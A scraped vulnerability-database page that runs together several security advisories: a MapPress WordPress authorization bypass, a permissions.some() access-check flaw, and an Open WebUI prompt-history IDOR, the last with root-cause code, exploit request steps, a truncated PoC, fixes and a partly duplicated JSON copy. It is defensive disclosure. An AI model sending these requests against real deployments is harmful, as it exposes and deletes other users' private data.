Vulnerability from github – Published: 2026-06-06 06:30 – Updated: 2026-06-06 06:30The MapPress Maps for WordPress plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to, and including, 2.96.6. This is due to missing ownership verification in the REST API routes registered via Mappress_Api::rest_api_init(), where the GET /wp-json/mapp/v1/maps/{mapid} endpoint uses 'permission_callback' => '__return_true' and the write endpoints (POST update, DELETE, PATCH mutate, POST clone, POST empty_trash) only check the generic edit_posts capability without confirming that the requester owns the targeted map — a gap that is not compensated at the model layer, as Mappress_Map::get(), save(), delete(), mutate(), and empty_trash() all operate on any caller-supplied map ID without an ownership check. This makes it possible for unauthenticated attackers to read sensitive map data — including POI titles, addresses, coordinates, and body content — for any map on the site by enumerating map IDs, and for authenticated attackers with Contributor-level access and above to modify, delete, trash/restore, or clone any map regardless of its author.

The checkAccess function in api/server/middleware/roles/access.js uses permissions.some() to validate permissions, which incorrectly grants access if only one of multiple required permissions is present. This allows users with the 'USER' role to create agents despite having CREATE: false permission, as the check for ['USE', 'CREATE'] passes with just USE: true. This vulnerability affects other permission checks as well, such as PROMPTS. The issue is present in all versions prior to the fix.

GHSA-4R4W-2WGP-W7CJ
Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-07-20 21:07Summary
Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:
GET /api/v1/prompts/id/{prompt_id}/history/diff— returns another prompt's history snapshots (read).POST /api/v1/prompts/id/{prompt_id}/update/version— restores another prompt's snapshot into the caller's prompt, exposing its content (read).DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}— deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for prompt_id:
# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
user.role == 'admin'
or prompt.user_id == user.id
or await AccessGrants.has_access(
user_id=user.id,
resource_type='prompt',
resource_id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)
compute_diff() fetches both history entries globally by ID and returns their full snapshots:
# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
'from_snapshot': from_snapshot,
'to_snapshot': to_snapshot,
...
}
There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:
# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version_id = version_id
DELETE .../history/{history_id} deletes an entry fetched globally by history_id:
# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)
Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.
PoC
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get_prompt_diff() route function
- the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.

Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER_PROMPT_ID. - Attacker knows two history IDs for a victim prompt:
VICTIM_FROM_HISTORY_IDandVICTIM_TO_HISTORY_ID. - Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
- The server authorizes
ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute_diff()should acceptprompt_idand query both entries withPromptHistory.prompt_id == prompt_idalongside the id filter.delete_history_entry()should acceptprompt_idand filterfilter_by(id=history_id, prompt_id=prompt_id).update_prompt_version()should rejecthistory_entry.prompt_id != prompt_idbefore restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/versionrestore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.

"details": "## Summary\n\nOpen WebUI\u0027s prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:\n\n- `GET /api/v1/prompts/id/{prompt_id}/history/diff` \u2014 returns another prompt\u0027s history snapshots (read).\n- `POST /api/v1/prompts/id/{prompt_id}/update/version` \u2014 restores another prompt\u0027s snapshot into the caller\u0027s prompt, exposing its content (read).\n- `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` \u2014 deletes another prompt\u0027s history entry (delete).\n\nAn authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user\u0027s private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.\n\n## Impact\n\nSecurity boundary crossed: prompt confidentiality and integrity.\n\nPrompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user\u0027s snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user\u0027s history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.\n\n## Root Cause\n\nThe route checks read access only for `prompt_id`:\n\n```python\n# backend/open_webui/routers/prompts.py\nprompt = await Prompts.get_prompt_by_id(prompt_id, db=db)\n...\nif not (\n user.role == \u0027admin\u0027\n or prompt.user_id == user.id\n or await AccessGrants.has_access(\n user_id=user.id,\n resource_type=\u0027prompt\u0027,\n resource_id=prompt.id,\n permission=\u0027read\u0027,\n db=db,\n )\n):\n raise HTTPException(...)\n```\n\nBut the authorized prompt ID is not passed into the diff sink:\n\n```python\n# backend/open_webui/routers/prompts.py\ndiff = await PromptHistories.compute_diff(from_id, to_id, db=db)\n```\n\n`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:\n\n```python\n# backend/open_webui/models/prompt_history.py\nresult_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))\nfrom_entry = result_from.scalars().first()\nresult_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))\nto_entry = result_to.scalars().first()\n...\nreturn {\n \u0027from_snapshot\u0027: from_snapshot,\n \u0027to_snapshot\u0027: to_snapshot,\n ...\n}\n```\n\nThere is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.\n\nThe same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:\n\n```python\n# backend/open_webui/models/prompts.py \u2014 update_prompt_version\nhistory_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)\n...\nprompt.content = snapshot.get(\u0027content\u0027, prompt.content) # foreign snapshot copied into caller\u0027s prompt\nprompt.version_id = version_id\n```\n\n`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:\n\n```python\n# backend/open_webui/models/prompt_history.py \u2014 delete_history_entry\nresult = await db.execute(select(PromptHistory).filter_by(id=history_id))\nentry = result.scalars().first()\n...\nawait db.delete(entry)\n```\n\nNeither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id \u2192 404`); these three endpoints were missing it.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for prompt history diff IDOR.\n\nThe PoC executes:\n - the real routers.prompts.get_prompt_diff() route function\n - the real PromptHistories.compute_diff() implementation\n\nFake model/DB adapters are used only to avoid requiring a running server. The\nsecurity-sensitive behavior under test is that the route authorizes the prompt\nID in the URL, then computes a diff for arbitrary history IDs without checking\nthat those history rows belong to the authorized prompt.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import

Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
